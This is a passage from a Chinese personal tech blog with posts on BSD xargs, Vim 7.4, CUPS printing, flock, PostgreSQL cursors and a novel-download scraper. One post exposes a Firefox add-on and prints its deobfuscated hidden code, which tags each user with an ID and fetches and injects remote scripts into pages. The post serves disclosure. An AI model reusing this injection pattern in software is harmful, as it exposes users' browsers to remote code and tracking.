8
22
2013
6

BSD 版 xargs

BSD 版 xargs 与 GNU 版有一个显著的不同——它支持-J选项。

比如说,你使用 find 命令得到了一个文件列表。你要将它们传递给一个叫concat_files的程序来处理后生成一个指定的新文件,比如:

concat_files file1 file2 file3 output

而且,这个命令不像 cp 或者 mv 那样,有个-t参数来把目标文件放到不定长的文件列表之前。总之呢,你不得不构建一行命令,它的中间部分是你会从管道传过去的文件列表。而 GNU xargs 要么全给你放末尾(默认),要么每项执行一次命令(指定-I时)。而 BSD xargs 则可以用-J选项指定一个占位符,使用这个占位符指明参数插入的位置:

find ... | xargs -J % concat_files % output

BSD xargs 的另一个特有参数是-o,作用你们就自己看文档啦=w=

我想在 Linux 上使用 BSD xargs,怎么办呢?在 AUR 里搜索到了这个,但是已经编译不过去了。安装 bmake 后手动边改边编译,最终终于成功编译了 obase 中的大多数工具。我知道的比较有特色的也就这个 xargs 了,于是单独打了个包 bsdxargs,放在我的 lilydjwg 源 里。

附,obase 的补丁:

diff --git a/Makefile b/Makefile
index 2bb18b4..96acf8a 100644
--- a/Makefile
+++ b/Makefile
@@ -8,6 +8,8 @@ LIBOBASE=${.CURDIR}/libobase/libobase.a
 INCLUDES_libobase=-isystem ${.CURDIR}/libobase/include
 COPTS_libobase=-D_GNU_SOURCE
 DPLIBS+=${LIBOBASE}
+LDADD+= ${LIBOBASE}
+.export LDADD
 .export COPTS DPLIBS HOSTCC HOSTCFLAGS USE_DPADD_MK

 SUBDIR=\
diff --git a/src/bin/ls/Makefile b/src/bin/ls/Makefile
index defd607..6ad4725 100644
--- a/src/bin/ls/Makefile
+++ b/src/bin/ls/Makefile
@@ -3,6 +3,6 @@
 PROG=  ls
 SRCS=  cmp.c ls.c main.c print.c util.c
 DPADD= ${LIBUTIL}
-LDADD= -lutil
+LDADD+= -lutil

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/awk/Makefile b/src/usr.bin/awk/Makefile
index 54857d3..9d2d243 100644
--- a/src/usr.bin/awk/Makefile
+++ b/src/usr.bin/awk/Makefile
@@ -2,7 +2,7 @@

 PROG=  awk
 SRCS=  ytab.c lex.c b.c main.c parse.c proctab.c tran.c lib.c run.c
-LDADD= -lm
+LDADD+=    -lm
 DPADD= ${LIBM}
 CLEANFILES+=proctab.c maketab ytab.c ytab.h stamp_tabs
 CFLAGS+=-I. -I${.CURDIR} -DHAS_ISBLANK -DNDEBUG
diff --git a/src/usr.bin/dc/Makefile b/src/usr.bin/dc/Makefile
index b0a2396..f8ee358 100644
--- a/src/usr.bin/dc/Makefile
+++ b/src/usr.bin/dc/Makefile
@@ -3,7 +3,7 @@
 PROG=  dc
 SRCS=  dc.c bcode.c inout.c mem.c stack.c
 COPTS+= -Wall
-LDADD= -lcrypto
+LDADD+=    -lcrypto
 DPADD= ${LIBCRYPTO}

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/du/Makefile b/src/usr.bin/du/Makefile
index feb644d..9676f37 100644
--- a/src/usr.bin/du/Makefile
+++ b/src/usr.bin/du/Makefile
@@ -2,6 +2,6 @@

 PROG=  du
 DPADD= ${LIBUTIL}
-LDADD= -lutil
+LDADD+= -lutil

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/gzsig/Makefile b/src/usr.bin/gzsig/Makefile
index 0dc7b81..f4f0664 100644
--- a/src/usr.bin/gzsig/Makefile
+++ b/src/usr.bin/gzsig/Makefile
@@ -3,7 +3,7 @@
 PROG   = gzsig
 SRCS   = gzsig.c key.c sign.c ssh.c ssh2.c util.c verify.c x509.c

-LDADD  = -lcrypto -lm
+LDADD  += -lcrypto -lm
 DPADD  = ${LIBCRYPTO} ${LIBM}

 CLEANFILES += TAGS *~
diff --git a/src/usr.bin/lex/Makefile b/src/usr.bin/lex/Makefile
index 080a151..27a783e 100644
--- a/src/usr.bin/lex/Makefile
+++ b/src/usr.bin/lex/Makefile
@@ -17,7 +17,7 @@ SRCS= ccl.c dfa.c ecs.c gen.c main.c misc.c nfa.c parse.c sym.c tblcmp.c \
    yylex.c
 OBJS+= scan.o skel.o
 CLEANFILES+=parse.c parse.h scan.c skel.c y.tab.c y.tab.h
-LDADD= -lfl
+LDADD+=    -lfl
 DPADD= ${LIBL}

 MAN = flex.1
diff --git a/src/usr.bin/m4/Makefile b/src/usr.bin/m4/Makefile
index 7c510f5..16a282c 100644
--- a/src/usr.bin/m4/Makefile
+++ b/src/usr.bin/m4/Makefile
@@ -8,7 +8,7 @@ CFLAGS+=-DEXTENDED -I.
 CDIAGFLAGS=-W -Wall -Wstrict-prototypes -pedantic \
    -Wno-unused -Wno-char-subscripts -Wno-sign-compare

-LDADD= -ly -lfl -lm
+LDADD+= -ly -lfl -lm
 DPADD= ${LIBY} ${LIBL} ${LIBM}

 SRCS=  eval.c expr.c look.c main.c misc.c gnum4.c trace.c tokenizer.l parser.y
diff --git a/src/usr.bin/make/Makefile b/src/usr.bin/make/Makefile
index a63ed94..1d12280 100644
--- a/src/usr.bin/make/Makefile
+++ b/src/usr.bin/make/Makefile
@@ -14,7 +14,7 @@ CDEFS+=-DHAS_EXTENDED_GETCWD

 CFLAGS+=${CDEFS}
 HOSTCFLAGS+=${CDEFS}
-LDADD= -lrt
+LDADD+=    -lrt

 SRCS=  arch.c buf.c cmd_exec.c compat.c cond.c dir.c direxpand.c engine.c \
    error.c for.c init.c job.c lowparse.c main.c make.c memory.c parse.c \
diff --git a/src/usr.bin/mandoc/Makefile b/src/usr.bin/mandoc/Makefile
index cf565fd..6086a81 100644
--- a/src/usr.bin/mandoc/Makefile
+++ b/src/usr.bin/mandoc/Makefile
@@ -9,7 +9,7 @@ CFLAGS+=-W -Wall -Wstrict-prototypes
 CFLAGS+=-Wno-unused-parameter
 .endif

-LDADD= -ldb
+LDADD+= -ldb

 SRCS=  roff.c tbl.c tbl_opts.c tbl_layout.c tbl_data.c eqn.c mandoc.c read.c
 SRCS+= mdoc_macro.c mdoc.c mdoc_hash.c \
diff --git a/src/usr.bin/script/Makefile b/src/usr.bin/script/Makefile
index d7dbf01..8837084 100644
--- a/src/usr.bin/script/Makefile
+++ b/src/usr.bin/script/Makefile
@@ -1,7 +1,7 @@
 #  $OpenBSD: Makefile,v 1.3 1997/09/21 11:50:42 deraadt Exp $

 PROG=  script
-LDADD= -lutil
+LDADD+=    -lutil
 DPADD= ${LIBUTIL}

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/ul/Makefile b/src/usr.bin/ul/Makefile
index bab290c..12295ec 100644
--- a/src/usr.bin/ul/Makefile
+++ b/src/usr.bin/ul/Makefile
@@ -2,6 +2,6 @@

 PROG=  ul
 DPADD= ${LIBCURSES}
-LDADD= -lcurses
+LDADD+=    -lcurses

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/vacation/Makefile b/src/usr.bin/vacation/Makefile
index 6f08990..f9ef0d6 100644
--- a/src/usr.bin/vacation/Makefile
+++ b/src/usr.bin/vacation/Makefile
@@ -1,6 +1,6 @@
 #  $OpenBSD: Makefile,v 1.3 1997/09/21 11:51:42 deraadt Exp $

 PROG=  vacation
-LDADD= -ldb
+LDADD+=    -ldb

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/wc/Makefile b/src/usr.bin/wc/Makefile
index 3f3c619..0f3d1a2 100644
--- a/src/usr.bin/wc/Makefile
+++ b/src/usr.bin/wc/Makefile
@@ -2,6 +2,6 @@

 PROG=  wc
 DPADD= ${LIBUTIL}
-LDADD= -lutil
+LDADD+= -lutil

 .include <bsd.prog.mk>

参见

Category: Linux | Tags: xargs BSD shell
8
20
2013
6

发现一款带隐藏广告代码的火狐插件

下载、解压,找到app.js。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:

if (typeof(IMAXPluginChrome) == "undefined") {
  function S4() {
    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1)
  }
  function guid() {
    return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4())
  }
  var IMAXPluginChrome = {
    getCid: function() {
      var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", "");
      if (typeof(uuid) == "undefined" || uuid == "") {
        uuid = guid();
        nsPreferences.setUnicharPref("extensions.imax.uuid", uuid)
      }
      return uuid
    },
    loadScript: function(callback, unsafeWin) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.status == 200 && xhr.readyState == 4) {
          var code = xhr.responseText;
          nsPreferences.setUnicharPref("extensions.imax.code", code);
          nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + "");
          callback(unsafeWin, code)
        }
      };
      xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true);
      xhr.send(null)
    },
    onDOMContentLoaded: function(event) {
      var code = nsPreferences.copyUnicharPref("extensions.imax.code", "");
      var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0));
      var unsafeWin = event.target.defaultView;
      if (unsafeWin.wrappedJSObject) {
        unsafeWin = unsafeWin.wrappedJSObject
      }
      function callback(unsafeWin, code) {
        var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document;
        var script = unsafeDocument.createElement("script");
        script.type = "text/javascript";
        script.charset = "utf-8";
        script.textContent = code;
        unsafeDocument.body.appendChild(script)
      }
      if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) {
        IMAXPluginChrome.loadScript(callback, unsafeWin)
      } else {
        callback(unsafeWin, code)
      }
    },
    onLoad: function(event) {
      var appcontent = document.getElementById("appcontent");
      if (appcontent) {
        appcontent.addEventListener("load", this.onDOMContentLoaded, true)
      }
    },
    onUnload: function(event) {
      window.removeEventListener("load", this.onLoad, false);
      window.removeEventListener("unload", this.onUnload, false);
      var appcontent = document.getElementById("appcontent");
      appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false)
    },
    init: function() {
      window.addEventListener("load", function(event) {
        IMAXPluginChrome.onLoad(event)
      },
      false);
      window.addEventListener("unload", function(event) {
        IMAXPluginChrome.onUnload(event)
      },
      false)
    }
  };
  IMAXPluginChrome.init()
}

这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX的代码,其中XXX是生成的用户 ID。又是一段混淆过的代码,还是一样的eval,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:

(function(cid) {
  if (window.tbk) {
    return
  }
  window.tbk = true;
  var plugin_scripts = {
    "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js"
  };
  for (var enabledDomains in plugin_scripts) {
    var host = document.location.href;
    if (host.match(RegExp(enabledDomains))) {
      imax_script_url = plugin_scripts[enabledDomains];
      function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
          var c = ca[i];
          while (c.charAt(0) == ' ') c = c.substring(1, c.length);
          if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
        }
        return null
      }
      function addBrowserJs() {
        if (document.readyState == "complete") {
          var h = document.getElementsByTagName('head')[0];
          var s = document.createElement('script');
          s.setAttribute('type', 'text/javascript');
          s.setAttribute('charset', 'utf-8');
          s.setAttribute('async', true);
          if (readCookie("_q_r_b_")) {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          } else {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          }
          h.appendChild(s)
        } else {
          window.setTimeout(addBrowserJs, 20)
        }
      }
      addBrowserJs()
    }
  }
})("CID");

(function(d) {
  var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 
    'search', 'weibo', 'baidu', 'length', 'match',
  'ad=', 'getElementsByClassName', 'createElement', 'className', 'body',
  'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src'];
  var href = d.location.href;
  var host = 'http://taoad.wandoupai.com/ad.js';
  var url = '';
  var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']];
  for (var i = 0; i < url_map.length; i++) {
    if (href.match(url_map[i][0])) {
      url = 'ad=' + url_map[i][1];
      break;
    };
  };
  if (url == '') {
    return false;
  };
  var appendTag = function(a, b, c) {
    if (document.getElementsByClassName(b).length > 0) {
      return;
    };
    var el = d.createElement(a);
    el.className = b;
    c(el);
    var body0 = d.getElementsByTagName('body')[0];
    if (!body0) {
      return;
    };
    body0.appendChild(el);
    return el;
  };
  appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) {
    var link = host + '?' + url;
    a.type = 'text/javascript';
    a.src = link;
  });
})(document);

这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu的脚本。目前,这个地址返回的是空文档。说好的广告呢……

8
10
2013
42

Vim 7.4 发布

Vim 7.4 刚刚发布了!(怎么没有 Vim 7.4c d e f 了呢=w=)

主要新特性如下:

  1. 新的更快的正则引擎,与旧的同时存在,并且可以指定使用哪个。
  2. 更 pythonic 的 Python 接口。
  3. 位操作函数。
  4. luaeval() 函数。
  5. 其它新增函数、部分函数功能增强。
  6. 自动命令部分添加了InsertCharPreCompleteDoneQuitPreTextChangedTextChangedI事件。
  7. rxvt-unicode 终端的鼠标支持。
  8. 等等。

Python 部分的改进主要如下:

  1. vim.bindeval函数可以获得 Vim 的字典、列表或者函数对象。
  2. buffer 和 window 对象以及vim模块添加了vars属性,用于存取局部于缓冲区、窗口以及全局的 Vim 变量。
  3. 可以从{rtp}/python2{rtp}/python3{rtp}/python导入模块。
  4. 添加了新的 tabpage 对象用于操作标签页。
  5. Vim 错误会自动转成 Python 异常。
  6. vim.buffers改用缓冲区作为键,因此可以方便地从缓冲区号找到对应的 buffer 对象。
  7. 添加了类似其它解释器接口的:pydopy3do命令。
  8. 添加了 Vim 函数pyeval()py3eval()。其返回值会自动转换成 Vim 对象。
  9. 所有接受str对象的接口,现在能够同时接受unicode(Python 2)或者bytes(Python 3)对象。
  10. window 对象添加了 .col.row 属性。
  11. 添加和修正了一些 Vim 添加对象的dir()方法。
  12. vim.vvars用于访问v:开头的特殊变量。
  13. vim.options以及 buffer 和 window 对象的options属于用于像字典那样存取 Vim 的全局或者局部选项。
  14. vim.strwidth函数,功能和 Vim 内建函数strwidth一致。
  15. 可能有更多没有写到发行说明中的内容。

详情请:help version-7.4

附:我编译的 Windows 32 位和 64 位版本: http://lilydjwg.is-programmer.com/pages/19540.html#win-vim

我维护的 Arch Linux lilydjwg 仓库也有 64 位的 gvim 和 vim。

2014年12月2日更新:现在我打包的 Vim 在 Arch Linux 中文社区源里了,名字叫 vim-runtime-lily、gvim-lily 以及 vim-lily。

Category: Vim | Tags: vim python
8
6
2013
2

利用 cups 通过网络使用 Samsung SCX-4650 4x21S Series 打印机

首先去官网下个 Unified Linux Drivers(ULD)包,里边有我们需要的 .ppd 文件以及一个 cups filter。splix 和 gutenprint 包里有不少 ppd 文件,但是没有我要的这个型号的。此 ppd 文件中引用了一个名叫 rastertospl 的 cups filter,而 splix 里只有 rastertoqspl,不知道能不能用。我还是用官方给的好了。

安装 cups 并启动之:

systemctl start cups

在那个包里找到自己机器架构的 rastertospl 以及 libscmssc.so 文件,前者扔到/usr/lib/cups/filter目录下,后者扔到/usr/lib下即可。

访问 http://localhost:631/admin ,勾选右边的「Share printers connected to this system」,这样 cups 才能找到网络打印机。点「Change Settings」后会请求用户名和密码。使用 root 及相应的密码登录即可。然后就可以「Find New Printers」了。找到之后就知道打印机的 IP 地址了。(其实用 ULD 包里那个smfpnetdiscovery程序也是可以的。)然后访问 http://打印机IP:631/ 在协议里找到了它的 IPP 协议地址:ipp://打印机IP/ipp/printer。cups 默认给出的是socket://,不知道那是干什么的。忘了添加时能不能修改了,不能的话就待会再修改连接地址好了。然后填名字描述什么的,下边会向你要 ppd 文件,或者从系统已有列表里选。从下载回来的 ULD 包里找到那个Samsung_SCX-4650_4x21S_Series.ppd文件扔给它就好。配置完毕就可以用啦啦。

其实挺简单的。不过初次配置时遇到了点麻烦:

出现了两次 filter failed 错误。第一次的日志(位于/var/log/cups/error_log)是:

PID 20744 (/usr/lib/cups/filter/gstoraster) stopped with status 13.

gstoraster 是 ghostscript 包里的。通过 strace 和源码得知它退出是因为子进程 gs 在向标准输出写转换好的 raster 格式数据时出现了 SIGPIPE。Google 许久未果,最后按某帖里的建议把打印机删掉再重新添加就好了……

第二次是 rastertospl 退出 1。(rastertospl 没找到那个错误很明显就不算啦。)这个通过 strace 发现它在一些路径寻找libscmssc.so文件。在 ULD 里找到这个库并扔到它会去找的目录下就好了。

最后贴一下通过 strace 抓到的那些 cups filter 的命令行调用参数:

PPD=/etc/cups/ppd/Samsung_SCX-4650_4x21S_Series.ppd strace /usr/lib/cups/filter/rastertospl 4 lilydjwg doc.pdf 1 "InputSlot=Auto noJCLSkipBlankPages Quality=600dpi number-up=1 MediaType=None TonerSaveMode=Standard JCLDarkness=NORMAL PageSize=A4 EdgeControl=Fine job-uuid=urn:uuid:570129b0-1656-3f8d-5c8d-0edc9322c11f job-originating-host-name=localhost time-at-creation=1375697623 time-at-processing=1375701265" doc.raster > doc.spl
Category: Linux | Tags: Linux 打印机 外部设备
8
5
2013
10

rst_tables 改进版

rst_tables 是一个用来创建和格式化 rst(reStructuredText)格式文档中的表格用的。此文档里的表格得画成表格的样子,囧死了……比如(网页上显示的可能没对齐,在 Vim 里应该很齐的www):

+----------+----------+-----------------------------------------+
| 格式名称 | 使用频率 | 使用场景                                |
+==========+==========+=========================================+
| markdown | 非常高   | 简单的文字,如博客、简单文档            |
+----------+----------+-----------------------------------------+
| rst      | 较低     | 较复杂的文档,如包含表格或者描述性列表。|
|          |          | 以及 Python 库的文档。                  |
+----------+----------+-----------------------------------------+

所以,作为编辑器之神的 Vim,当然会有更方便的创建这种非人道的表格的办法啦。(其实我是看到 Vimwiki 的表格挺不错的 n(≧▽≦)n

略作搜索,找到了 rst_tables。它是这样子写的(墙外视频演示):

格式名称  使用频率  使用场景
markdown  非常高  简单的文字,如博客、简单文档
rst  较低  较复杂的文档,如包含表格或者描述性列表。以及 Python 库的文档。

每行的单元格间空两格,然后光标放在光标上,按\\c(其实是<leader><leader>ccreate),就创建好啦。如果后期又修改了,按\\fformat)就可以重新格式化啦。

rst 的表格里可以写多行文字,就如前边所示那样。修改表格第一行那些减号的数量后再按\\f,可以调整栏宽。

好啦,rst_tables 本身的介绍至此结束。下面讲讲我作出的改进:

  1. 去除对 vim_bridges Python 库的依赖。根本没大量使用的东西,也没省下几行代码,何必用呢。
  2. 正确对齐和排版中文。官方版考虑了中文字符的宽度,但是用 Python 的 textwrap 来排版,造成各种混乱。我给改成用 Vim 原生排版功能排了。
  3. 使用 Python 3 接口,免得非 UTF-8 'encoding' 时出问题。同时使用了 Vim 7.4 新添加的 Python 接口。
  4. 如果没有 Python 支持,不要载入。
  5. 键映射局部于缓冲区。
  6. 放到 plugin 目录下,因为那些 Python 函数定义不需要载入多次。

安装很简单,把这个文件(使用「Raw」链接来下载)扔到 ~/.vim/plugin 下即可。

Category: Vim | Tags: vim python 中文支持
7
30
2013
20

对比不同字体中的同一字符

有人在 openSUSE 中文论坛询问他的输入法打出的「妩媚」的「妩」字为什么显示成「女」+「元」。怀疑是字体的问题,于是空闲时用好友写的 python-fontconfig 配合 Pillow (PIL 的一个 fork)写了个脚本,使用系统上所有包含这个「妩」字的字体来显示这个字,看看到底是哪些字体有问题。

(更新后的)脚本如下:

Google Chrome / Chromium 用户请注意:如果复制得到的代码中含有不间断空格(0xa0),请手动替换下。

#!/usr/bin/env python3
# vim:fileencoding=utf-8

from PIL import Image, ImageDraw, ImageFont
import fontconfig

ch = '妩'
def get_fonts():
  ret = []
  for f in fontconfig.query():
    f = fontconfig.FcFont(f)
    if f.has_char(ch):
      ret.append((f.file, f.bestname))
  return ret

w, h = 800, 20000
image = Image.new('RGB', (w, h), 'white')
draw = ImageDraw.Draw(image)
pos = 0
w = 0
strs = ch
for fontfile, fontname in get_fonts():
  font = ImageFont.truetype(fontfile, 24)
  s = '%s: %s' % (fontname, strs)
  font_width, font_height = font.getsize(s)
  w = max((font_width, w))
  draw.text((10, pos), s, font=font, fill='black')
  pos += font_height
  h = pos

image = image.crop((0, 0, w+10, h))
image.save('fonts.png')

寻找字体,然后渲染到当前目录下的fonts.png文件中。寻找字体的过程挺花时间的,要耐心等待。最后结果如下:

我这里,文泉驿微米黑、方正魏碑、某个 Droid Sans Fallback 字体中「妩」字的字形不对。(我这里有三个字体文件都叫「Droid Sans Fallback」……)>

7
26
2013
6

飞速中文网小说下载脚本

  • JavaScript 加密什么的最讨厌了 :-(
    • eval 一个不依赖外部变量的函数立即调用很天真,看我 nodejs 来干掉你!
    • HTTP 请求的验证首先尝试 Referer,「小甜饼」没有想像中的那么重要。
    • curl 和各命令行工具处理起文本很顺手呢
    • 但是 Python 也没多几行呢
  • Requests 效率比 lxml 自己那个好太多
  • progressbar 太先进了,我还是自个儿写吧……
  • argparse 写 Python 命令行程序必备啊~
  • string.Template也很好用哦
  • 以下是主代码啦,除了标准库以及 lxml 和 requests,没有的模块都在无所不能的 winterpy 仓库里。其实主代码也在的。
#!/usr/bin/env python3
# vim:fileencoding=utf-8

import sys
from functools import partial
from string import Template
import argparse
import base64
from urllib.parse import unquote

from lxml.html import fromstring
import requests

from htmlutils import extractText
from termutils import foreach

session = requests.Session()

def main(index, filename='$name-$author.txt', start=0):
  r = session.get(index)
  r.encoding = 'gb18030'
  doc = fromstring(r.text, base_url=index)
  doc.make_links_absolute()
  name = doc.xpath('//div[@class="info"]/p[1]/a/text()')[0]
  author = doc.xpath('//div[@class="info"]/p[1]/span/text()')[0].split()[-1]

  nametmpl = Template(filename)
  fname = nametmpl.substitute(name=name, author=author)
  with open(fname, 'w') as f:
    sys.stderr.write('下载到文件 %s。\n' % fname)
    links = doc.xpath('//div[@class="chapterlist"]/ul/li/a')
    try:
      foreach(links, partial(gather_content, f.write), start=start)
    except KeyboardInterrupt:
      sys.stderr.write('\n')
      sys.exit(130)

  sys.stderr.write('\n')
  return True

def gather_content(write, i, l):
  # curl -XPOST -F bookid=2747 -F chapterid=2098547 'http://www.feisuzw.com/skin/hongxiu/include/fe1sushow.php'
  #      --referer http://www.feisuzw.com/Html/2747/2098547.html
  # tail +4
  # base64 -d
  # sed 's/&#&/u/g'
  # ascii2uni -qaF
  # ascii2uni -qaJ
  # <p> paragraphs
  url = l.get('href')
  _, _, _, _, bookid, chapterid = url.split('/')
  chapterid = chapterid.split('.', 1)[0]
  r = session.post('http://www.feisuzw.com/skin/hongxiu/include/fe1sushow.php', data={
    'bookid': bookid, 'chapterid': chapterid,
  }, headers={'Referer': url})

  text = r.content[3:] # strip BOM
  text = base64.decodebytes(text).replace(b'&#&', br'\u')
  text = text.decode('unicode_escape')
  text = unquote(text)
  text = text.replace('<p>', '').replace('</p>', '\n\n')

  title = l.text
  write(title)
  write('\n\n')
  write(text)
  write('\n')
  return title

if __name__ == '__main__':
  parser = argparse.ArgumentParser(description='下载飞速中文网小说')
  parser.add_argument('url',
                      help='小说首页链接')
  parser.add_argument('name', default='$name-$author.txt', nargs='?',
                      help='保存文件名模板(支持 $name 和 $author')
  parser.add_argument('-s', '--start', default=1, type=int, metavar='N',
                      help='下载起始页位置(以 1 开始)')
  args = parser.parse_args()
  main(args.url, args.name, args.start-1)
Category: python | Tags: python 网页 爬虫
7
26
2013
5

flock——Linux 下的文件锁

当多个进程可能会对同样的数据执行操作时,这些进程需要保证其它进程没有也在操作,以免损坏数据。

通常,这样的进程会使用一个「锁文件」,也就是建立一个文件来告诉别的进程自己在运行,如果检测到那个文件存在则认为有操作同样数据的进程在工作。这样的问题是,进程不小心意外死亡了,没有清理掉那个锁文件,那么只能由用户手动来清理了。像 pacman 或者 apt-get 一些数据库服务经常在意外关闭时留下锁文件需要用户清理。我以前写了个 pidfile,它会将自己的 pid 写到文件里去,所以,如果启动时文件存在,但是对应的进程不存在,那么它也可以知道没有其它进程要访问它要访问的数据(这里只讨论如何避免数据的并发讨论,不考虑进程意外退出时的数据完整性)。但是,Linux 的 pid 是会复用的。而且,检查 pidfile 也有点麻烦不是么?(还有竞态呢)

某天,我发现了 flock 这个系统调用。flock 是对于整个文件的建议性锁。也就是说,如果一个进程在一个文件(inode)上放了锁,那么其它进程是可以知道的。(建议性锁不强求进程遵守。)最棒的一点是,它的第一个参数是文件描述符,在此文件描述符关闭时,锁会自动释放。而当进程终止时,所有的文件描述符均会被关闭。于是,很多时候就不用考虑解锁的事情啦。

flock 有个对应的 shell 命令也叫 flock,很好用的。使用最广泛的 cronie 这个定时任务服务很笨的,不像小巧的 dcron 那样同一任务不会同时跑多个。于是乎,服务器上经常看到一堆未退出的 cron 任务进程。把所有这样的任务包一层 flock 就不会导致 cronie 启动 N 个进程做同一件事啦:

flock -n /tmp/.my.lock -c 'command to run'

即使是 dcron,有时会有两个操作同一数据的任务,也需要使用 flock 来调度。不过这次不用-n参数让文件被锁住时失败退出了。我们要等拥有锁的进程完事再执行。如下,两个任务(有所修改),一个是从远程同步数据到本地的,另一个是备份同步过来的数据的。同时执行的话,就会备份到不完整的数据了。

*/7 *    * * * ID=syncdata       LANG=zh_CN.UTF-8 flock /tmp/.backingup -c my_backup_script
@daily         ID=backupdata     LANG=zh_CN.UTF-8 [ -d ~/data ] && cd ~/data && nice -n19 ionice -c3 flock /tmp/.backingup -c "tar cJf backup_$(date +"%Y%m%d").tar.xz data_dir --exclude='*~'"

flock 命令除了接收文件名参数外,还可以接收文件描述符参数。这种方法在 shell 脚本里特别有用。比如如下代码:

lockit () {
  exec 7<>.lock
  flock -n 7 || {
    echo "Waiting for lock to release..."
    flock 7
  }
}

exec行打开.lock文件为 7 号文件描述符,然后拿 flock 尝试锁它。如果失败了,就输出一条消息,并且等待锁被释放。那个 7 号文件描述符就让它一直开着了,反正脚本执行完毕内核会释放,也不用去调用trap内建命令了。

上边有一点很有意思的是,flock 是一个子进程,但是因为文件描述符在 fork 和 execve 中会共享,而 flock 锁在 fork 和 execve 时也不会改变,所以子进程在那个文件描述符上加锁后,即使它退出了,因为那个文件描述符父进程还有一份,所以不会被关闭,锁也就得以保留。(所以,如果余下的脚本里要是有进程带着那个文件描述符 fork 到后台锁就不会在脚本执行完后自动解除啦……)

PS: 经我测试,其它一些类 Unix 系统上或者没有 flock 这个系统调用,只有 fcntl 那个,或者行为和 Linux 的不一样。

Category: Linux | Tags: linux shell
7
22
2013
2

使用 PostgreSQL 游标分页

使用 PostgreSQL 的命名游标对查询结果进行分页,相对于 OFFSET+LIMIT 查询,相当于保留了每个查询结果,避免了在翻页时的重复计算。1, 2, 3

这是我自己的测试结果。数据量不大,这个测试用的结果集才 20 条结果,所以效果不太明显。(好吧,其实我这边目前的数据量也没必要用现在这个复杂的方案。只是尝试新东西而已啦 ^_^)

In [m]: %%timeit
   ....: for i in range(10):
   ....:   c.execute(sql_c, (sql_m, i*2, 2))
   ....:   list(c)
   ....: 
100 loops, best of 3: 9.83 ms per loop

In [n]: %%timeit
   ....: for i in range(10):
   ....:   c.execute(sql_m.replace('%', '%%') + ' offset %s limit %s', (i*2, 2))
   ....:   list(c)
   ....: 
10 loops, best of 3: 19.8 ms per loop

我使用了一个 PostgreSQL 函数来创建或者复用 cursor。此函数输入参数有:查询语句、位置偏移、获取的数量。这个函数会检查是否已经存在对应的 cursor,如果没有就把查询语句的 md5 值加前缀「p」作为名字。查询语句当然是程序拼接的,不会有人工输入的那种意义相同但是某些写法不一样造成的不同。

PostgreSQL cursor 有两个很重要的特性。其一,它的内容不会随着数据的更新而更新。所以,在相关数据更新之后,已经创建的 cursor 的数据就陈旧了。我创建了一个创建触发器的函数以便清理陈这些旧的 cursor。另外,cursor 是会占用内存或者磁盘空间的,因此要清理掉长期不使用的 cursor。为此,我维护了一张记录 cursor 最后使用时间的表,以及一个清理函数。

PostgreSQL cursor 特性之二:即使指定了WITH HOLD,cursor 的生存期也只在当前会话(连接),并且只在当前会话中看得到。所以,清理函数cleanupCursors还需要将没有记录的 cursor 清除。

CREATE OR REPLACE FUNCTION createCursorTable(name text) RETURNS void AS $$
BEGIN
  EXECUTE format('CREATE TABLE IF NOT EXISTS %I (
    name text UNIQUE,
    last_used TIMESTAMP WITH TIME ZONE default current_timestamp
  )', name);
  EXECUTE format('CREATE INDEX ON %I (last_used)', name);
END;
$$ LANGUAGE plpgsql;

CREATE OR REPLACE FUNCTION createTriggerFor(tname text, cname text) RETURNS void AS $$
BEGIN
  EXECUTE format($f$
    CREATE TRIGGER %I
    AFTER INSERT OR UPDATE OR DELETE OR TRUNCATE ON %I
    FOR EACH STATEMENT
    EXECUTE PROCEDURE cleanupTriggerFunc (%L)
  $f$, 'cleanupCursorForTable_' || tname || '_' || cname,
  tname, cname);
END;
$$ LANGUAGE plpgsql;

CREATE OR REPLACE FUNCTION dropTriggerFor(tname text, cname text) RETURNS void AS $$
BEGIN
  EXECUTE format($f$ DROP TRIGGER %I on %I $f$,
    'cleanupCursorForTable_' || tname || '_' || cname, tname);
END;
$$ LANGUAGE plpgsql;

CREATE OR REPLACE FUNCTION cleanupTriggerFunc() RETURNS TRIGGER AS $$
DECLARE
  cname text := TG_ARGV[0];
BEGIN
  EXECUTE format('SELECT cleanupCursors(%L, 0)', cname);
  RETURN NULL;
END;
$$ LANGUAGE plpgsql;

CREATE OR REPLACE FUNCTION fetchFromCursor(tname text, query text, off integer, size integer)
RETURNS SETOF record AS $$
DECLARE
